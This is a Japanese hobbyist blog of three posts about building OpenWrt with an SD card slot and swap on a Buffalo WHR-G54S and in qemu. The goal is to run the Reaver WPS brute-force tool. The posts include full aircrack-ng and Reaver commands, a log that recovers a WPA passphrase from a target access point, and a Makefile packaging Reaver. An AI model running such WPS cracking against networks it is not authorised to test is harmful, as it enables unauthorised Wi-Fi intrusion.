【Buffalo WHR-G54S SDカード接続 – Openwrt】 [OpenWRT/DD-WRT]
Buffalo WHR-G54S は前に,ハンダ付けでSDカードスロットを取り付けている。
SDカードスロットの取り付けが実は一番大変で,こちらの記事参照。
WHR-G54S は,メモリが 16MB と小さいので,SDカードに swap を作った。
それから reaver が sqlite3 のDBファイルを使うので,その保管も行った。
openwrt(kernel 3.3.5)で,SDカードが利用できたが,自動マウントは未だ設定できていない。
svn co svn://svn.openwrt.org/openwrt/trunk/
cd trunk
make menuconfig
│ Target System (Broadcom BCM947xx/957xx)
│ Target Profile (Broadcom BCM43xx WiFi (b43, default)
make V=99 J=2
SDカードのカーネルモジュール broadcom-sdhc26 のソースファイルを入手して ~/trunk/package/broadcom-sdhc26 に置く。
make menuconfig で,broadcom-sdhc26 を選択する。gpio は6,5,3,1に変更する。kmod-fs-ext4 はext2/3/4 をマウントするのに必要だ。
Kernel modules
- Block Devices
-- <*> kmod-broadcom-sdhc26
--- Default Configration
│ (6) GPIO DI (Data-In) pin
│ (5) GPIO DO (Data-Out) pin
│ (3) GPIO CLK (Clock) pin
│ (1) GPIO CS (Chip-Select) pin
Kernel modules
- Filesystems
--<*> kmod-fs-ext4
Utilities
- Filesystem
-- <*> e2fsprogs
ビルドする。
make V=99 J=2 *j=2 は2コアcpu の場合
ビルドイメージファイルをフラッシュに書き込む。WHR-G54S の黒4ポートのいずれかと,PCをLAN接続する。WHR-G54S は電源オフにする。
ターミナルウインドウを2つ開く。
一方でping 192.168.11.1 を実行する。
ifconfig eth0 192.168.11.3 up
ping 192.168.11.1
他方で atftp を実行待ちにする。
atftp -p -l openwrt-brcm47xx-squashfs.trx 192.168.11.1
From 192.168.11.3 icmp_seq=5 Destination Host Unreachable
From 192.168.11.3 icmp_seq=6 Destination Host Unreachable
From 192.168.11.3 icmp_seq=7 Destination Host Unreachable
64 bytes from 192.168.11.1: icmp_seq=8 ttl=100 time=1004 ms
64 bytes from 192.168.11.1: icmp_seq=9 ttl=100 time=0.552 ms
64 bytes from 192.168.11.1: icmp_seq=10 ttl=100 time=0.657 ms
64 bytes from 192.168.11.1: icmp_seq=11 ttl=100 time=1.06 ms
64 bytes from 192.168.11.1: icmp_seq=12 ttl=100 time=0.582 ms
WHR-G54S の電源を入れると数秒後にリプライが出る。
リプライが出たらすぐに atftp を実行する。
WHR-G54S の openwrt が起動したら,telnet で接続する。
ifconfig eth0 192.168.1.3 up
telnet 192.168.1.1
openwrt で,broadcom-sdhc26 を有効にする。
root@OpenWrt:/# vi /etc/modules.d/30-b43
b43 gpiomask=0x1
root@OpenWrt:/# vi /etc/config/broadcom_sdhc26
# option 'gpio_enable' '0xb8000068'
# option 'gpio_control' '0xb800006c'
config 'global' 'broadcom_sdhc26'
option 'enabled' '1'
option 'preinit' '0'
option 'mask_diag' '1'
option 'din' '6'
option 'dout' '5'
option 'clk' '3'
option 'cs' '1'
option 'major' '0'
option 'maxsec' '32'root@OpenWrt:/# /etc/init.d/broadcom_sdhc26 start
SDカードを ext2 でフォーマットしてマウントする。
mkfs.ext2 /dev/bcmsdhc1
mount /dev/bcmsdhc1 /mnt
root@OpenWrt:/etc# mount
rootfs on / type rootfs (rw)
/dev/root on /rom type squashfs (ro,relatime)
none on /proc type proc (rw,relatime)
sysfs on /sys type sysfs (rw,relatime)
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,relatime,size=6676k)
tmpfs on /dev type tmpfs (rw,relatime,size=512k,mode=755)
devpts on /dev/pts type devpts (rw,relatime,mode=600)
/dev/mtdblock3 on /overlay type jffs2 (rw,relatime)
overlayfs:/overlay on / type overlayfs (rw,relatime,lowerdir=/,upperdir=/overlay)
debugfs on /sys/kernel/debug type debugfs (rw,relatime)
/dev/bcmsdhc1 on /mnt type ext2 (rw,relatime,user_xattr,barrier=1)
スワップファイルを作る。
dd if=/dev/zero of=/mnt/swap bs=1024 count=32768
mkswap /mnt/swap
swapon /mnt/swap
root@OpenWrt:/# free
total used free shared buffers
Mem: 13348 12124 1224 0 1436
-/+ buffers: 10688 2660
Swap: 31996 0 31996
reaver ディレクトリを作り,/etc/reaver にリンクする。
mkdir /mnt/reaver
ln –s /mnt/reaver /etc/reaver
仮想メモリも作業用ディレクトリもできたので,reaver を実行したがクラックまでいたらない。1時間以上継続する時もあるし,すぐハングする時もあり,安定しない。
-p で pin を指定するとPSKが判明できるので,動作はしている。
root@OpenWrt:~# reaver -i mon0 -b 0:18:84:AB:EA:34 -c 8 -vv -p 00289047
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
[+] Switching mon0 to channel 8
[+] Waiting for beacon from 00:18:84:AB:EA:34
[+] Associated with 00:18:84:AB:EA:34 (ESSID: RalinkInitAP_ABEA34)
[+] Trying pin 00289047
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 10 seconds
[+] WPS PIN: '00289047'
[+] WPA PSK: '5rh6-hw33-wy5x'
[+] AP SSID: 'RalinkInitAP_ABEA34'
[+] Nothing done, nothing to save.
root@OpenWrt:~#
【Buffalo WHR-G54S Openwrt で Reaver-WPS 実行】 [OpenWRT/DD-WRT]
無線LANルータ WHR-G54S の OpenWrt Linux で,Reaver-WPS が実行できた。
ただし途中で止まってしまう。(CPUが貧弱だからか? またはメモリ?)
WHR-HP-GN や FON2200 で実行できなかったのは,おそらく endian の問題だ。
前記事では,malta coreLV board を qemu でエミュレートして,仮想無線LANルータの Openwrt から Reaver を実行できたが,WHR-HP-GN や FON2200 など実機で同様に実行しても “waitting for beacon” から先に進まず NG だった。
malta 用 OpenWrt は little endian でビルドしていた。
確認したら WHR-HP-GN や FON2200 の OpenWrt は big endian だった。
(make menuconfig で endian の選択 –> malta=○,whr,fon=× )
PC は x86 で littile endian だ。PC Linux のBackTrack 等で reaver は問題なく実行できる。
little endian じゃないと,reaver は動かないのか?
試しに malta の OpenWrt を big endian でビルドして,qemu で起動したが,reaver はやはり“waitting for beacon”から先に進まなかった。
WHR-G54S はBroadcom BCM3302 CPUで,little endian だ。
Openwrt trunk からダウンロードして WHR-G54S 用 OpenWrt をビルドした。
make menuconfig でターゲットに”BCM947xx/953xx”を選択した。 
make V=99 で ~/trunk/bin/brcm47xx/openwrt-brcm47xx-squashfs.trx が完成したら,
tftp.exe で WHR-G54S のフラッシュに書き込む。
http://www.dd-wrt.com/routerdb/de/download/Buffalo/WHR-G54S/-/tftp.exe/290
書き込み方法は,こちらを参照。
reaver の実行(なぜか途中でアボートしてしまう)
root@OpenWrt:/# iwconfig wlan0 essid RalinkInitAP_ABEA34 channel 8
root@OpenWrt:/# ifconfig wlan0 up
root@OpenWrt:/# airmon-ng start wlan0
ps: invalid option -- A
BusyBox v1.19.4 (2012-05-04 03:00:00 JST) multi-call binary.Usage: ps
Show list of processes
w Wide output
Interface Chipset Driver
wlan0 Broadcom b43 - [phy0]
(monitor mode enabled on mon0)root@OpenWrt:/# reaver -i mon0 -b 0:18:84:AB:EA:34 -c 8 -vv
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>[+] Switching mon0 to channel 8
[+] Waiting for beacon from 00:18:84:AB:EA:34
[+] Associated with 00:18:84:AB:EA:34 (ESSID: RalinkInitAP_ABEA34)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received WSC NACK
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 00005678
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 01235678
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
^C
[!] WARNING: Receive timeout occurred
[+] Session saved.
little endian のCPUを採用している無線LANルータなら reaver が目的とおり実行できるかもしれない。ただしCPU性能の低い機種では難しいのだろうか。(WHR-G54S は200MHz CPU,16MB RAM)
https://dev.openwrt.org/wiki/platforms
【qemu mips openwrt reaver-WPS 】 [OpenWRT/DD-WRT]
qemu で mips CPU をエミュレートして USB 無線 LAN アダプタ rt73usb を接続した仮想無線LANルータで,OpenWrt Linux を起動して,reaver-WPS が動作した。
WPA2-PSK AES を設定した 自分の FON2305e をターゲットにして reaver を実行し,1時間43分で秘密のパスフレーズがクラックできた。
ホストOSは,BackTrack 5。
reaver が仮想無線LANルータで動くなら,リアル無線LANルータの buffalo WHR-HP-GN や FON2200 でも動くはずだが NG だった。(waitting for beacon で止まってしまう)
qemu はこちらから qemu-1.0.1.tar.gz をダウンロードしてコンパイルした。
qemu-system-mipsel コマンドを今回使う。
openwrt のビルド方法は前記事と同様で,ターゲットに malta coreLV board を選ぶ。
また aircrack-ng と reaver-wps もコンパイルする。
aircrack-ng
cd ~/trunk
./scripts/feeds update
./scripts/feeds install aircrack-ng
reaver(~/trunk/package 下に mkdir reaver して,Makefile を置く。
Makefile はこの記事の一番下。
~/trunk/package/reaver/Makefile
make menuconfig で,Networking –> Wireless にaircrack-ng 及び reaver を選択する。 
make V=99 でコンパイルすると,~/trunk/bin/malta/openwrt-malta-le-vmlinux.elf が出来上がる。
qemu-system-mipsel コマンドで openwrt を起動する。
“-usbdevice host:0411:00d8”はUSB 無線 LAN アダプタ buffalo WLI-U2-SG54HP のベンダーID:プロダクトIDで,qemu 上の openwrt からUSB無線LANアダプタを認識させる。
“-redir tcp:2222::22”はホストOSから localhost:2222で,qemu中の ssh の22番ポートにリダイレクトする。 “-net nic –net user”は仮想 NAT ルータ。”-m 256” はメモリの割り当て。
(ホストOS - BackTrack 5)
qemu-system-mipsel -kernel openwrt-malta-le-vmlinux.elf -nographic -m 256 -usbdevice host:0411:00d8 -net nic -net user -redir tcp:2222::22
起動後 root のパスワードを更新すると,ssh が有効になる。
eth0 をブリッジから外しておき udhcpc で qemu の仮想 nat ルータから eth0 に ip アドレス 10.0.2.15 が割り当てられる。
(openwrt - qemu)
ifoconfig eth0 down
brctl delif br-lan eth0
ifconfig eth0 up
udhcpc
,~/trunk/build_dir/targetxxxx/reaver-1.4.1/src/reaver.db を仮想マシンの /etc/reaver にコピーする。
(ホストOS - BackTrack 5)
scp -P 2222 reaver.db root@localhost:/tmp
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
RSA key fingerprint is e5:38:77:7b:0f:df:6a:fe:64:a2:ed:c0:52:d2:67:b1.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[localhost]:2222' (RSA) to the list of known hosts.
root@localhost's password:
reaver.db 100% 14KB 14.0KB/s 00:00
(openwrt - qemu)
mkdir /etc/reaver
cp /tmp/reaver.db /etc/reaver
airmon-ng start wlan0 で Monitor モードにする。iwconfig でターゲットの ESSID 及びchannel をセットする。ターゲットの BSSID やチャネルを指定して reaver を起動する。
(openwrt - qemu)
airmon-ng start wlan0
iwconfig wlan0 essid RalinkInitAP_ABEA34 channel 8
ifconfig wlan0 up
reaver -i mon0 -b 0:18:84:AB:EA:34 -c 8 –vv
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner cheffner@tacnetsol.com
[+] Switching mon0 to channel 8
[ 451.600000] device mon0 entered promiscuous mode
[+] Waiting for beacon from 00:18:84:AB:EA:34
[+] Associated with 00:18:84:AB:EA:34 (ESSID: RalinkInitAP_ABEA34)
[ 451.950000] device mon0 left promiscuous mode
[ 452.960000] device mon0 entered promiscuous mode
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[ 458.530000] device mon0 left promiscuous mode
[ 459.600000] device mon0 entered promiscuous mode
[+] Trying pin 00005678
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
qemu でエミュレートした mips の openwrt で reaver が動作したので,同じ手順で buffalo WHR-HP-GN や FON2200でも動作すると思ったのだが,”waitting for beacon”から先に進まない。
qemu がサポートする malta coreLV board をターゲットにしてビルドした openwrt は,little endian にしている。WHR や FON はendian の違いなのだろうか?
それから こちらは ps で [crypto] が動作しているが,WHR や FON の openwrt は[crypto] が動作していない。
[crypto] の動作が reaver に必要なのだろうか?
reaver.db は,sqlite3 のDBファイルだが,無くても動作するので関係ないようだ。
それから WHR-HP-GN は ath9k, FON2200 は ath5k だが,qemu では rt73usb を使っている。無線LANドライバの違いが動作に影響しているのだろうか?
Reaver-WPS の Makefile (~/trunk/package/reaver/Makefile)
#
# Copyright (C) 2011 OpenWrt.org
#
# This is free software, licensed under the GNU General Public License v2.
# See /LICENSE for more information.
#
include $(TOPDIR)/rules.mkPKG_NAME:=reaver
PKG_VERSION:=1.4
PKG_RELEASE:=1PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz
PKG_SOURCE_URL:=http://reaver-wps.googlecode.com/files
PKG_MD5SUM:=05441dda7bacfcbe1e831c85d1ea3bc9include $(INCLUDE_DIR)/package.mk
define Package/reaver
SECTION:=net
CATEGORY:=Network
SUBMENU:=wireless
TITLE:=Brute force attack against Wifi Protected Setup
URL:=https://code.google.com/p/reaver-wps/
DEPENDS:=+libpcap +libsqlite3
endefdefine Package/reaver/description
Reaver targets the external registrar functionality mandated by the WiFi
Protected Setup specification.
Access points will provide authenticated registrars with their current
wireless configuration (including the WPA PSK), and also accept a new
configuration from the registrar.
endefCONFIGURE_PATH:=src
MAKE_PATH:=src
TARGET_CFLAGS+=$(TARGET_CPPFLAGS)
define Package/reaver/install
$(INSTALL_DIR) $(1)/usr/bin
$(INSTALL_BIN) $(PKG_BUILD_DIR)/src/reaver $(1)/usr/bin/
endef$(eval $(call BuildPackage,reaver))








